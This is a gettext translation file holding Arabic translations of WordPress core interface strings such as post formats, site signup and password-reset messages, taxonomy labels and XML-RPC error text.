#: wp-signup.php:147
msgid "Your address will be %s."
msgstr "عنوانك سيكون %s."

#: wp-includes/post-formats.php:107
msgctxt "Post format"
msgid "Audio"
msgstr "صوت"

#: wp-includes/class-wp-xmlrpc-server.php:5404
#: wp-includes/class-wp-xmlrpc-server.php:5755
msgid "Invalid post format."
msgstr "صيغة مقالة غير صالحة."

#: wp-includes/class-wp-editor.php:1913
msgid "No search term specified. Showing recent items."
msgstr "لم يتم تحديد كلمات البحث. جاري إظهار أحدث العناصر."

#: wp-includes/plugin.php:924
msgid "Only a static class method or function can be used in an uninstall hook."
msgstr "يمكن استخدام طريقة أو وظيفة فئة ثابتة فقط في إلغاء تنصيب الـ hook."

#: wp-includes/post.php:3935
msgid "Passing an integer number of posts is deprecated. Pass an array of arguments instead."
msgstr "تجاوز العدد الصحيح من المقالات المستغنى عنها. ثمّ مرر حلقة المعاملات بدلاً عنها."

#: wp-includes/post-formats.php:99
msgctxt "Post format"
msgid "Aside"
msgstr "ملاحظة"

#: wp-includes/post-formats.php:100
msgctxt "Post format"
msgid "Chat"
msgstr "محادثة"

#: wp-includes/post-formats.php:102
msgctxt "Post format"
msgid "Link"
msgstr "رابط"

#: wp-includes/post-formats.php:103
msgctxt "Post format"
msgid "Image"
msgstr "صورة"

#: wp-includes/post-formats.php:105
msgctxt "Post format"
msgid "Status"
msgstr "حالة"

#: wp-includes/post-formats.php:106
msgctxt "Post format"
msgid "Video"
msgstr "فيديو"

#: wp-includes/post-formats.php:101
msgctxt "Post format"
msgid "Gallery"
msgstr "معرض"

#: wp-includes/post-formats.php:104
msgctxt "Post format"
msgid "Quote"
msgstr "اقتباس"

#: wp-includes/class-wp-post-type.php:840
msgid "No pages found."
msgstr "لا توجد صفحات."

#: wp-includes/class-wp-post-type.php:841
msgid "No posts found in Trash."
msgstr "لا توجد مقالات في سلة المهملات."

#: wp-includes/class-wp-post-type.php:841
msgid "No pages found in Trash."
msgstr "لا توجد صفحات في سلة المهملات."

#: wp-includes/admin-bar.php:733 wp-includes/admin-bar.php:738
msgid "Shortlink"
msgstr "رابط مختصر"

#: wp-includes/class-wp-xmlrpc-server.php:1546
#: wp-includes/class-wp-xmlrpc-server.php:4371
#: wp-includes/class-wp-xmlrpc-server.php:5602
#: wp-includes/class-wp-xmlrpc-server.php:5996
msgid "Invalid attachment ID."
msgstr "معرف المرفق (ID) غير صالح."

#: wp-includes/registration-functions.php:9 wp-includes/registration.php:9
msgid "This file no longer needs to be included."
msgstr "لم تعد هناك حاجة لضم هذا الملف."

#: wp-includes/widgets/class-wp-widget-archives.php:225
#: wp-includes/widgets/class-wp-widget-categories.php:194
#: wp-includes/js/dist/block-library.js:2000
#: wp-includes/js/dist/block-library.js:6022
msgid "Display as dropdown"
msgstr "عرض كقائمة منسدلة"

#: wp-includes/class-wp-xmlrpc-server.php:619
msgid "Thumbnail Height"
msgstr "ارتفاع الصورة المصغّرة"

#: wp-includes/class-wp-xmlrpc-server.php:614
msgid "Thumbnail Width"
msgstr "عرض الصورة المصغّرة"

#: wp-includes/class-wp-xmlrpc-server.php:654
msgid "Large size image height"
msgstr "ارتفاع الصورة ذات الحجم الكبير"

#: wp-includes/class-wp-xmlrpc-server.php:629
msgid "Medium size image width"
msgstr "عرض الصورة ذات الحجم المتوسّط"

#: wp-includes/class-wp-xmlrpc-server.php:634
msgid "Medium size image height"
msgstr "ارتفاع الصورة ذات الحجم المتوسّط"

#: wp-includes/class-wp-xmlrpc-server.php:649
msgid "Large size image width"
msgstr "عرض الصورة ذات الحجم الكبير"

#: wp-includes/class-wp-xmlrpc-server.php:624
msgid "Crop thumbnail to exact dimensions"
msgstr "إقطع الصورة المصغرة لتتلاءم مع المقاسات بالضبط"

#: wp-login.php:965
msgid "New password"
msgstr "كلمة مرور جديدة"

#: wp-login.php:983
msgid "Confirm new password"
msgstr "تأكيد كلمة المرور الجديدة"

#: wp-login.php:949 wp-admin/user-edit.php:686
msgid "Password Reset"
msgstr "استعادة كلمة المرور"

#: wp-login.php:957
msgid "Reset Password"
msgstr "استعادة كلمة المرور"

#: wp-login.php:949
msgid "Your password has been reset."
msgstr "تم استعادة كلمة المرور."

#: wp-includes/user.php:3171
msgid "To reset your password, visit the following address:"
msgstr "لإستعادة كلمة المرور، قم بزيارة العنوان التالي:"

#: wp-includes/user.php:3165
msgid "Someone has requested a password reset for the following account:"
msgstr "طلب أحد ما إعادة تعيين كلمة المرور للحساب التالي:"

#: wp-includes/user.php:3170
msgid "If this was a mistake, ignore this email and nothing will happen."
msgstr "إذا كان هذا خطأً، فتجاهل هذه الرسالة ولن يحدث شئ."

#: wp-includes/admin-bar.php:699
msgid "Manage Comments"
msgstr "إدارة التعليقات"

#: wp-includes/post-formats.php:74 wp-includes/revision.php:563
msgid "Invalid post."
msgstr "مقالة غير صالحة."

#: wp-includes/class-wp-theme.php:1027
msgid "Blavatar"
msgstr "أيقونة المدونة (Blavatar)"

#. translators: %s: Taxonomy name.
#: wp-includes/post.php:4525
msgid "Invalid taxonomy: %s."
msgstr "فئة غير صالحة: %s."

#: wp-includes/taxonomy.php:144
msgid "Search Link Categories"
msgstr "بحث في تصنيفات الروابط"

#: wp-includes/taxonomy.php:146
msgid "All Link Categories"
msgstr "كافة تصنيفات الروابط"

#: wp-includes/taxonomy.php:143
msgid "Link Category"
msgstr "تصنيف الرابط"

#: wp-includes/taxonomy.php:150
msgid "New Link Category Name"
msgstr "اسم تصنيف الرابط الجديد"

#: wp-includes/taxonomy.php:149
msgid "Add New Link Category"
msgstr "أضف تصنيف رابط جديد"

#: wp-includes/taxonomy.php:148
msgid "Update Link Category"
msgstr "تحديث تصنيف الرابط"

#: wp-includes/user.php:3913 wp-includes/js/dist/block-library.js:2303
#: wp-includes/js/dist/core-data.js:2563
msgid "User"
msgstr "مستخدم"

#: wp-includes/admin-bar.php:539
msgid "Network Admin"
msgstr "إدارة الشبكة"

#. translators: 1: Blog name, 2: WordPress
#: wp-includes/theme-compat/footer.php:26
msgid "%1$s is proudly powered by %2$s"
msgstr "%1$s بدعم من %2$s"

#: wp-includes/theme-compat/sidebar.php:59
msgid "l, F jS, Y"
msgstr "j F, Y"

#: wp-includes/theme-compat/sidebar.php:71
msgid "F, Y"
msgstr "j F, Y"

#. translators: %s: Category name.
#: wp-includes/theme-compat/sidebar.php:46
msgid "You are currently browsing the archives for the %s category."
msgstr "أنت تتصفح الآن آرشيف التصنيف %s."

#: wp-includes/theme-compat/comments.php:24
msgid "This post is password protected. Enter the password to view comments."
msgstr "هذه المقالة محمية بكلمة مرور. لمشاهدة التعليقات، قم بكتابة كلمة المرور."

#. translators: 1: Site link, 2: Search query.
#: wp-includes/theme-compat/sidebar.php:93
msgid "You have searched the %1$s blog archives for <strong>&#8216;%2$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links."
msgstr "بحثت في أرشيفات %1$s عن <strong>&#8216;%2$s&#8217;</strong>. إذا لم تجد نتائج بحث مناسبة حاول أن تستخدم احد الروابط التالية."

#. translators: Used to join items in a list with only 2 items.
#: wp-includes/formatting.php:5239
msgid "%1$s and %2$s"
msgstr "%1$s و %2$s"

#: wp-includes/blocks/comments-title.php:55
#: wp-includes/js/dist/block-library.js:11215
msgid "One response"
msgstr "رد واحد"

#. translators: %s: Post title.
#: wp-includes/blocks/comments-title.php:27
msgid "&#8220;%s&#8221;"
msgstr "&#8220;%s&#8221;"

#. translators: %s: Number of comments.
#: wp-includes/blocks/comments-title.php:59
#: wp-includes/js/dist/block-library.js:11219
msgid "%s response"
msgid_plural "%s responses"
msgstr[0] "لا توجد ردود"
msgstr[1] "رد واحد"
msgstr[2] "ردان"
msgstr[3] "%s ردود"
msgstr[4] "%s رد"
msgstr[5] "%s رد"

#: wp-includes/class-wp-taxonomy.php:630
msgid "Choose from the most used tags"
msgstr "اختر من الوسوم الأكثر استخداماً"

#: wp-includes/class-wp-taxonomy.php:612
msgctxt "taxonomy general name"
msgid "Categories"
msgstr "تصنيفات"

#: wp-includes/class-wp-taxonomy.php:613
msgctxt "taxonomy singular name"
msgid "Category"
msgstr "تصنيف"

#: wp-includes/class-wp-taxonomy.php:617 wp-includes/js/dist/editor.js:10684
msgid "Parent Category"
msgstr "التصنيف الأب"

#: wp-includes/class-wp-taxonomy.php:618
msgid "Parent Category:"
msgstr "التصنيف الأب:"

#: wp-includes/class-wp-taxonomy.php:625
msgid "Update Tag"
msgstr "تحديث الوسم"

#: wp-includes/class-wp-taxonomy.php:627
msgid "New Tag Name"
msgstr "وسم جديد"

#: wp-includes/class-wp-taxonomy.php:627
msgid "New Category Name"
msgstr "اسم تصنيف جديد"

#: wp-includes/class-wp-taxonomy.php:614
msgid "Search Tags"
msgstr "بحث في الوسوم"

#: wp-includes/class-wp-taxonomy.php:615
msgid "Popular Tags"
msgstr "الوسوم الشائعة"

#: wp-includes/class-wp-taxonomy.php:616
msgid "All Tags"
msgstr "كل الوسوم"

#: wp-includes/class-wp-taxonomy.php:626
msgid "Add New Category"
msgstr "أضف تصنيفاً جديداً"

#: wp-includes/class-wp-taxonomy.php:626
msgid "Add New Tag"
msgstr "أضف وسماً جديداً"

#: wp-signup.php:874
msgid "Check the junk or spam folder of your email client. Sometime emails wind up there by mistake."
msgstr "افحص صندوق الرسائل المزعجة (سبام) في بريدك الإلكتروني، أحياناً تصل الرسائل إلى هناك عن طريق الخطأ."

#: wp-signup.php:873
msgid "Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control."
msgstr "انتظر قليلاً، أحياناً عملية إيصال الرسائل يمكن أن تتأخر لأسباب خارجة عن سيطرتنا."

#: wp-signup.php:1008
msgid "Sorry, new registrations are not allowed at this time."
msgstr "عذرًا، غير مسموح بالتسجيل الجديد حاليًا."

#: wp-signup.php:293
msgid "Your registration email is sent to this address. (Double-check your email address before continuing.)"
msgstr "تأكيد تسجيلك للبريد الإلكتروني سيتم إرساله إلى هذا العنوان. (تحقّق جيداً من صحة عنوان بريدك الإلكتروني قبل المتابعة.)"

#: wp-includes/class-wp-post-type.php:831
msgctxt "post type general name"
msgid "Pages"
msgstr "صفحات"

#: wp-includes/class-wp-post-type.php:832
msgctxt "post type singular name"
msgid "Page"
msgstr "صفحة"

#: wp-includes/class-wp-post-type.php:839
msgid "Search Pages"
msgstr "بحث في الصفحات"

#: wp-includes/class-wp-post-type.php:831 wp-admin/export.php:190
#: wp-admin/includes/class-wp-users-list-table.php:377
msgctxt "post type general name"
msgid "Posts"
msgstr "مقالات"

#: wp-includes/class-wp-post-type.php:839
msgid "Search Posts"
msgstr "بحث في المقالات"

#: wp-includes/class-wp-post-type.php:832
msgctxt "post type singular name"
msgid "Post"
msgstr "مقالة"

#: wp-includes/class-wp-post-type.php:834
msgid "Add New Post"
msgstr "أضف مقالةً جديدةً"

#: wp-includes/class-wp-post-type.php:834
msgid "Add New Page"
msgstr "أضف صفحةً جديدةً"

#: wp-includes/class-wp-post-type.php:835
msgid "Edit Page"
msgstr "تحرير الصفحة"

#: wp-includes/class-wp-post-type.php:842
msgid "Parent Page:"
msgstr "الصفحة الأم:"

#: wp-includes/user.php:3339 wp-admin/includes/user.php:191
msgid "<strong>Error:</strong> This username is invalid because it uses illegal characters. Please enter a valid username."
msgstr "<strong>خطأ:</strong> اسم المستخدم غير صحيح لأنه يحتوي على رموز أو حروف ممنوعة. يرجى اختيار اسم مستخدم آخر."

#. translators: %s: Asterisk symbol (*).
#: wp-includes/general-template.php:5208
msgid "Required fields are marked %s"
msgstr "الحقول الإلزامية مشار إليها بـ %s"

#. translators: %s: Template name.
#: wp-includes/theme-compat/comments.php:11
#: wp-includes/theme-compat/footer.php:11
#: wp-includes/theme-compat/header.php:11
#: wp-includes/theme-compat/sidebar.php:11
msgid "Theme without %s"
msgstr "القالب بدون %s"

#. translators: %s: Template name.
#: wp-includes/theme-compat/comments.php:15
#: wp-includes/theme-compat/footer.php:15
#: wp-includes/theme-compat/header.php:15
#: wp-includes/theme-compat/sidebar.php:15
msgid "Please include a %s template in your theme."
msgstr "يرجى تضمين الملف %s في قالبك."

#: wp-includes/class-wp-xmlrpc-server.php:3541
#: wp-includes/class-wp-xmlrpc-server.php:6320
#: wp-includes/class-wp-xmlrpc-server.php:6562
msgid "Sorry, you must be able to edit posts on this site in order to view categories."
msgstr "عذراً، يجب أن تكون قادراً على تحرير المقالات في هذا الموقع كي تتمكن من عرض التصنيفات."

#: wp-includes/class-wp-xmlrpc-server.php:1457
#: wp-includes/class-wp-xmlrpc-server.php:5115
msgid "Sorry, you are not allowed to post on this site."
msgstr "عفوًا، غير مسموح لك الكتابة في هذا الموقع."

#: wp-includes/class-wp-xmlrpc-server.php:5375
#: wp-includes/class-wp-xmlrpc-server.php:5389
#: wp-includes/class-wp-xmlrpc-server.php:5394
msgid "Sorry, you are not allowed to publish posts on this site."
msgstr "عذرًا، غير مسموح لك بنشر مقالات في هذا الموقع."

#: wp-includes/class-wp-xmlrpc-server.php:5362
msgid "Sorry, you are not allowed to publish pages on this site."
msgstr "عذرًا، غير مسموح لك بنشر صفحات في هذا الموقع."

#. translators: New site notification email subject. 1: Network title, 2: New
#. site title.
#: wp-includes/ms-functions.php:1678
msgid "New %1$s Site: %2$s"
msgstr "New %1$s Site: %2$s"

#. translators: New site notification email subject. %s: New site URL.
#: wp-includes/ms-functions.php:1470
msgid "New Site Registration: %s"
msgstr "تسجيل موقع جديد: %s"

#: wp-includes/ms-functions.php:1171
msgid "The site is already active."
msgstr "لقد تم تفعيل هذا الموقع مسبقاً."

#: wp-includes/ms-functions.php:735
msgid "That site is currently reserved but may be available in a couple days."
msgstr "هذا الموقع محجوز حالياً لكن هناك احتمال أن يصبح متوفراً خلال يومين."

#: wp-includes/ms-functions.php:716
msgid "Sorry, that site is reserved!"
msgstr "عذراً، هذا الموقع محجوز!"

#: wp-includes/ms-functions.php:677
msgid "Sorry, site names must have letters too!"
msgstr "المعذرة، اسم الموقع يجب أن يحتوي على حروف أيضاً!"

#: wp-includes/ms-functions.php:672
msgid "Sorry, you may not use that site name."
msgstr "المعذرة، لا يمكنك استخدام هذا الاسم للموقع."

#: wp-includes/class-wp-xmlrpc-server.php:3351
msgid "Sorry, you must be able to edit posts on this site in order to view tags."
msgstr "عذراً، يجب أن تكون قادراً على تحرير المقالات في هذا الموقع كي تتمكن من عرض الوسوم."

#: wp-includes/ms-functions.php:707 wp-includes/ms-functions.php:1372
#: wp-includes/ms-site.php:605
msgid "Sorry, that site already exists!"
msgstr "المعذرة، هذا الموقع موجود مسبقاً!"

#. translators: %s: Site title.
#: wp-includes/pluggable.php:2136
msgid "New user registration on your site %s:"
msgstr "مستخدم جديد قام بالتسجيل في موقعك - %s: "

#: wp-includes/class-wp-xmlrpc-server.php:594
msgid "Site Tagline"
msgstr "سطر وصف الموقع"

#: wp-includes/option.php:2149
msgid "Site URL."
msgstr "رابط الموقع."

#: wp-includes/class-wp-xmlrpc-server.php:4051
#: wp-includes/class-wp-xmlrpc-server.php:4135
#: wp-includes/class-wp-xmlrpc-server.php:4170
#: wp-includes/class-wp-xmlrpc-server.php:4205
#: wp-includes/class-wp-xmlrpc-server.php:4474
msgid "Sorry, you are not allowed to access details about this site."
msgstr "عذراً، غير مسموح لك بالوصول إلى تفاصيل هذا الموقع."

#. translators: New site notification email. 1: Activation URL, 2: New site
#. URL.
#: wp-includes/ms-functions.php:980
msgid ""
"To activate your site, please click the following link:\n"
"\n"
"%1$s\n"
"\n"
"After you activate, you will receive *another email* with your login.\n"
"\n"
"After you activate, you can visit your site here:\n"
"\n"
"%2$s"
msgstr ""
"لتفعيل موقعك، يرجى النقر على الرابط التالي:\n"
"\n"
"%1$s\n"
"\n"
"بعد التفعيل، ستصلك *رسالة بريد جديدة* تحتوي على بيانات تسجيل دخولك.\n"
"\n"
"بعد التفعيل، يمكنك زيارة موقعك من هنا:\n"
"\n"
"%2$s"

#: wp-includes/ms-load.php:122
msgid "This site has been archived or suspended."
msgstr "هذا الموقع تمت أرشفته أو تم إيقافه."

#: wp-includes/load.php:798
msgid "The site you have requested is not installed properly. Please contact the system administrator."
msgstr "الموقع الذي طلبته لم يتم تنصيبه بشكل صحيح. يرجى الاتصال بمدير هذا النظام."

#: wp-includes/nav-menu.php:427
msgid "The given object ID is not that of a menu item."
msgstr "رقم تعريف الكائن (ID) ليس من ضمن عناصر القائمة."

#: wp-includes/formatting.php:4762
msgid "The email address entered did not appear to be a valid email address. Please enter a valid email address."
msgstr "عنوان البريد الإلكتروني الذي قمت بإدخاله لا يبدو صحيحاً. من فضلك قم بإدخال عنوان بريد إلكتروني صحيح."

#: wp-includes/formatting.php:4873
msgid "The WordPress address you entered did not appear to be a valid URL. Please enter a valid URL."
msgstr "الرابط الذي أدخلته لا يبدو صحيحاً. من فضلك، أدخل رابط صحيح."

#: wp-includes/formatting.php:4886
msgid "The Site address you entered did not appear to be a valid URL. Please enter a valid URL."
msgstr "عنوان الموقع الذي قمت بإدخاله لا يبدو صحيحاً. من فضلك قم بإدخال عنوان صحيح."

#: wp-includes/taxonomy.php:2470
msgid "A term with the name provided already exists with this parent."
msgstr "هناك عنصر بنفس الاسم موجود مسبقًا مع هذا الأب."

#. translators: %s: Home URL.
#: wp-includes/ms-functions.php:2187
msgid "An error occurred adding you to this site. Go to the <a href=\"%s\">homepage</a>."
msgstr "حدث خطأ في إضافتك إلى هذا الموقع. الانتقال إلى <a href=\"%s\">الصفحة الرئيسية</a>."

#: wp-includes/comment-template.php:2571
msgid "Your email address will not be published."
msgstr "لن يتم نشر عنوان بريدك الإلكتروني."

#: wp-includes/class-wp-http.php:276 wp-includes/class-wp-http.php:511
#: wp-includes/class-wp-xmlrpc-server.php:6858
msgid "A valid URL was not provided."
msgstr "نوع الرابط خاطئ."

#: wp-includes/class-wp-image-editor-gd.php:200
#: wp-includes/class-wp-image-editor-imagick.php:321
msgid "Could not calculate resized image dimensions"
msgstr "غير قادر على تحديد مقاسات الصورة"

#. translators: %s: Number of completed requests.
#: wp-includes/post.php:696
msgid "Completed <span class=\"count\">(%s)</span>"
msgid_plural "Completed <span class=\"count\">(%s)</span>"
msgstr[0] "مكتمل <span class=\"count\">(%s)</span>"
msgstr[1] "مكتمل <span class=\"count\">(%s)</span>"
msgstr[2] "مكتمل <span class=\"count\">(%s)</span>"
msgstr[3] "مكتمل <span class=\"count\">(%s)</span>"
msgstr[4] "مكتمل <span class=\"count\">(%s)</span>"
msgstr[5] "مكتمل <span class=\"count\">(%s)</span>"

#: wp-signup.php:1010
msgid "You are logged in already. No need to register again!"
msgstr "أنت متصّل! لا توجد حاجة للتسجيل مرة أخرى."

#. translators: %s: Login URL.
#: wp-signup.php:970
msgid "You must first <a href=\"%s\">log in</a>, and then you can create a new site."
msgstr "يتوجّب عليك بدايةً <a href=\"%s\">تسجيل الدخول</a>، وبعدها ستتمكّن من إنشاء موقع جديد."

#. translators: %s: Current user's display name.
#: wp-signup.php:375
msgid "Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart&#8217;s content, but write responsibly!"
msgstr "مرحباً بعودتك، %s. يمكنك ملء الحقول أدناه <strong>لإضافة موقع جديد إلى حسابك</strong>. لا يوجد تحديد على عدد المواقع التي يمكنك إنشاؤها، نرجو ان تستخدم المواقع بما يفيدك ويفيد غيرك."

#: wp-signup.php:148
msgid "Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!"
msgstr "يجب أن يتكوّن من 4 خانات على الأقل، يسمح باستخدام حروف وأرقام فقط. لا يمكن التغيير لاحقاً، لذلك كن حذراً!"

#: wp-mail.php:15 wp-mail.php:21
msgid "This action has been disabled by the administrator."
msgstr "تم تعطيل هذه العملية بواسطة المدير."

#. translators: %s: Page number.
#: wp-includes/general-template.php:1236
msgid "Page %s"
msgstr "الصفحة %s"

#: wp-includes/load.php:304
msgid "Maintenance"
msgstr "صيانة"

#: wp-includes/load.php:303
msgid "Briefly unavailable for scheduled maintenance. Check back in a minute."
msgstr "حالياً الموقع غير متوفّر لغرض الصيانة. يرجى المحاولة مجدداً بعد دقيقة."

#: wp-includes/post.php:133
msgid "Navigation Menu Item"
msgstr "بند قائمة التصفح"

#: wp-includes/post.php:492 wp-includes/taxonomy.php:116
msgid "Navigation Menus"
msgstr "قوائم التصفح"

#: wp-includes/post.php:132
msgid "Navigation Menu Items"
msgstr "عناصر قائمة التصفح"

#. translators: %s: Site title.
#: wp-links-opml.php:33
msgid "Links for %s"
msgstr "روابط %s"

#. translators: %s: URL to create a new menu.
#: wp-includes/widgets/class-wp-nav-menu-widget.php:176
msgid "No menus have been created yet. <a href=\"%s\">Create some</a>."
msgstr "حتى الآن لم تقم بانشاء قوائم. <a href=\"%s\">إنشاء</a>."

#: wp-includes/link-template.php:4215
msgid "This is the short link."
msgstr "هذا هو الرابط المختصر."

#. translators: %d: Number of available theme updates.
#: wp-includes/update.php:950
msgid "%d Theme Update"
msgid_plural "%d Theme Updates"
msgstr[0] "لا توجد قوالب تحتاج إلى تحديث"
msgstr[1] "قالب واحد يحتاج إلى تحديث"
msgstr[2] "%d من القوالب تحتاج إلى تحديث"
msgstr[3] "%d قوالب تحتاج إلى تحديث"
msgstr[4] "%d قالب تحتاج إلى تحديث"
msgstr[5] "%d قالب تحتاج إلى تحديث"

#. translators: %d: Number of available plugin updates.
#: wp-includes/update.php:945
msgid "%d Plugin Update"
msgid_plural "%d Plugin Updates"
msgstr[0] "لا توجد إضافات تحتاج إلى تحديث"
msgstr[1] "إضافة واحدة تحتاج إلى تحديث"
msgstr[2] "%d من الإضافات تحتاج إلى تحديث"
msgstr[3] "%d إضافات تحتاج إلى تحديث"
msgstr[4] "%d إضافة تحتاج إلى تحديث"
msgstr[5] "%d إضافة تحتاج إلى تحديث"

#. translators: %d: Number of available WordPress updates.
#: wp-includes/update.php:940
msgid "%d WordPress Update"
msgstr "تحديث ووردبريس %d"

#: wp-signup.php:988
msgid "Site registration has been disabled."
msgstr "تم تعطيل التسجيل في الموقع."

#: wp-signup.php:869
msgid "If you do not activate your site within two days, you will have to sign up again."
msgstr "إذا لم تقم بتفعيل موقعك خلال يومين، سيتوجب عليك التسجيل مرة أخرى."

#: wp-signup.php:643
msgid "Gimme a site!"
msgstr "أريد موقعاً!"

#. translators: %s: Site title.
#: wp-signup.php:545
msgid "The site %s is yours."
msgstr "تمّ إنشاء موقعك الجديد - %s"

#: wp-signup.php:412
msgid "Create Site"
msgstr "إنشاء موقع"

#: wp-signup.php:386
msgid "Sites you are already a member of:"
msgstr "حالياً، أنت عضو في المواقع التالية:"

#. translators: %s: Network title.
#: wp-signup.php:365
msgid "Get <em>another</em> %s site in seconds"
msgstr "أحصل على <em>موقع آخر</em> في %s خلال ثواني"

#: wp-signup.php:154
msgid "Site Title:"
msgstr "عنوان الموقع:"

#: wp-includes/script-loader.php:961
msgid "File canceled."
msgstr "تم إلغاء الملف."

#: wp-signup.php:139
msgid "sitename"
msgstr "sitename"

#: wp-signup.php:862
msgid "But, before you can start using your site, <strong>you must activate it</strong>."
msgstr "ولكن قبل البدء في استخدام موقعك، <strong>عليك أن تقوم بتفعيله</strong>."

#. translators: %s: Site address.
#: wp-signup.php:858
msgid "Congratulations! Your new site, %s, is almost ready."
msgstr "هنيئا! موقعك الجديد، %s، أصبح تقريباً جاهزا."

#. translators: %s: Post title.
#: wp-includes/pluggable.php:1753
msgid "New comment on your post \"%s\""
msgstr "تعليق جديد على مقالتك \"%s\""

#. translators: %s: Post title.
#: wp-includes/pluggable.php:1936
msgid "A new comment on the post \"%s\" is waiting for your approval"
msgstr "تعليق جديد على المقالة \"%s\" بإنتظار موافقتك"

#. translators: %s: Post title.
#: wp-includes/pluggable.php:1914
msgid "A new trackback on the post \"%s\" is waiting for your approval"
msgstr "تعقيب جديد على المقالة \"%s\" بإنتظار موافقتك"

#: wp-includes/ms-load.php:474
msgid "If your site does not display, please contact the owner of this network."
msgstr "إذا لم يتم عرض موقعك، يرجى التواصل مع مالك هذه الشبكة."

#. translators: %s: Post title.
#: wp-includes/pluggable.php:1725
msgid "New trackback on your post \"%s\""
msgstr "تعقيب جديد على مقالتك \"%s\""

#. translators: %s: Post title.
#: wp-includes/pluggable.php:1739
msgid "New pingback on your post \"%s\""
msgstr "تنبيه جديد على مقالتك \"%s\""

#. translators: %s: Post title.
#: wp-includes/pluggable.php:1925
msgid "A new pingback on the post \"%s\" is waiting for your approval"
msgstr "تنبيه جديد على المقالة \"%s\" بإنتظار موافقتك"

#: wp-signup.php:397
msgid "If you are not going to use a great site domain, leave it for a new user. Now have at it!"
msgstr "إذا كنت لن تستخدم نطاق موقع رائع فدعه لعضو جديد. الآن تفضل!"

#: wp-includes/taxonomy.php:117
#: wp-includes/widgets/class-wp-nav-menu-widget.php:30
msgid "Navigation Menu"
msgstr "القوائم"

#: wp-includes/widgets/class-wp-nav-menu-widget.php:188
msgid "Select Menu:"
msgstr "اختر قائمة:"

#: wp-includes/widgets/class-wp-widget-tag-cloud.php:183
msgid "Taxonomy:"
msgstr "الفئة:"

#. translators: %s: Post title.
#: wp-includes/blocks/comments-title.php:41
#: wp-includes/theme-compat/comments.php:38
#: wp-includes/js/dist/block-library.js:8461
#: wp-includes/js/dist/block-library.js:11208
msgid "One response to %s"
msgstr "رد واحد على %s"

#. translators: %s is the search term.
#: wp-includes/blocks/query-title.php:47
msgid "Search results for: \"%s\""
msgstr "نتائج البحث عن: \"%s\""

#: wp-includes/admin-bar.php:1044
#: wp-includes/class-wp-customize-nav-menus.php:673
#: wp-includes/customize/class-wp-customize-nav-menus-panel.php:113
#: wp-includes/js/dist/block-library.js:30361 wp-admin/menu.php:228
#: wp-admin/nav-menus.php:694
msgid "Menus"
msgstr "قوائم"

#: wp-includes/class-wp-xmlrpc-server.php:2992
#: wp-includes/class-wp-xmlrpc-server.php:3126
#: wp-includes/class-wp-xmlrpc-server.php:3192
msgid "Sorry, no such page."
msgstr "عفواً، الصفحة غير موجود."

#: wp-includes/class-wp-xmlrpc-server.php:3137
msgid "Failed to delete the page."
msgstr "فشل في حذف الصفحة."

#: wp-includes/class-wp-xmlrpc-server.php:6864
msgid "Is there no link to us?"
msgstr "ألا يوجد رابط لهذا الموقع؟"

#: wp-includes/class-wp-xmlrpc-server.php:6915
msgid "The source URL and the target URL cannot both point to the same resource."
msgstr "الرابط المصدر و الرابط الهدف لا يمكن أن يكونا متطابقين."

#: wp-includes/class-wp-xmlrpc-server.php:6925
msgid "The pingback has already been registered."
msgstr "التنبيه مسجل مسبقاً."

#: wp-includes/class-wp-xmlrpc-server.php:6952
msgid "The source URL does not exist."
msgstr "الرابط المصدر غير موجود."

#: wp-includes/class-wp-xmlrpc-server.php:7015
msgid "The source URL does not contain a link to the target URL, and so cannot be used as a source."
msgstr "الرابط المصدر لا يحتوي على الرابط الهدف، و لا يمكن إستخدامه كمصدر."

#. translators: 1: URL of the page linked from, 2: URL of the page linked to.
#: wp-includes/class-wp-xmlrpc-server.php:7062
msgid "Pingback from %1$s to %2$s registered. Keep the web talking! :-)"
msgstr "تم تسجيل تنبيه من %1$s إلى %2$s. دع الويب يتحدث! :-)"

#: wp-includes/class-wp-xmlrpc-server.php:7095
msgid "The specified target URL does not exist."
msgstr "الرابط الهدف المحدد غير موجود."

#: wp-includes/class-wp-xmlrpc-server.php:522
msgid "Software Name"
msgstr "اسم البرنامج"

#: wp-includes/class-wp-xmlrpc-server.php:527
msgid "Software Version"
msgstr "إصدار البرنامج"

#: wp-includes/class-wp-xmlrpc-server.php:3595
#: wp-includes/class-wp-xmlrpc-server.php:3732
#: wp-includes/class-wp-xmlrpc-server.php:3800 wp-includes/comment.php:2495
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:343
#: wp-admin/comment.php:79 wp-admin/comment.php:279
#: wp-admin/edit-comments.php:278
msgid "Invalid comment ID."
msgstr "رقم التعليق خاطئ."

#: wp-includes/class-wp-xmlrpc-server.php:3654
#: wp-includes/class-wp-xmlrpc-server.php:3818
msgid "Invalid comment status."
msgstr "حالة التعليق خاطئة."

#: wp-includes/class-wp-xmlrpc-server.php:584
msgid "Time Zone"
msgstr "المنطقة الزمنيّة"

#: wp-includes/class-wp-xmlrpc-server.php:1447
#: wp-includes/class-wp-xmlrpc-server.php:1750
#: wp-includes/class-wp-xmlrpc-server.php:1832
#: wp-includes/class-wp-xmlrpc-server.php:1933
#: wp-includes/class-wp-xmlrpc-server.php:2977
#: wp-includes/class-wp-xmlrpc-server.php:3924
#: wp-includes/class-wp-xmlrpc-server.php:3928
#: wp-includes/class-wp-xmlrpc-server.php:4089
#: wp-includes/class-wp-xmlrpc-server.php:4689
#: wp-includes/class-wp-xmlrpc-server.php:4763
#: wp-includes/class-wp-xmlrpc-server.php:4767
#: wp-includes/class-wp-xmlrpc-server.php:4772
#: wp-includes/class-wp-xmlrpc-server.php:4956
#: wp-includes/class-wp-xmlrpc-server.php:5734
#: wp-includes/class-wp-xmlrpc-server.php:6054
#: wp-includes/class-wp-xmlrpc-server.php:6616
#: wp-includes/class-wp-xmlrpc-server.php:6674
#: wp-includes/class-wp-xmlrpc-server.php:6799 wp-includes/comment.php:2504
#: wp-includes/post.php:4090 wp-includes/post.php:4764
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:363
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:830
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:430
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:456
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:205
#: wp-includes/revision.php:342
msgid "Invalid post ID."
msgstr "رقم المقالة خاطئ."

